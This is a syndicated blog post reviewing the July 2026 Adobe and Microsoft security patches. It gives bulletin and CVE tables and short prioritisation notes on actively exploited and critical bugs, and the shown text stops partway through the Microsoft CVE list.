<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668876/it-security-nachrichten/the-july-2026-security-update-review/</guid>
<pubDate>Tue, 14 Jul 2026 20:22:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our <a href="https://www.youtube.com/playlist?list=PLeFSM_a8Jri75_5-NpydcFneOaTvr3vJE">YouTube</a> channel. It should be posted within a couple of hours after the release.</p><p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  






  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
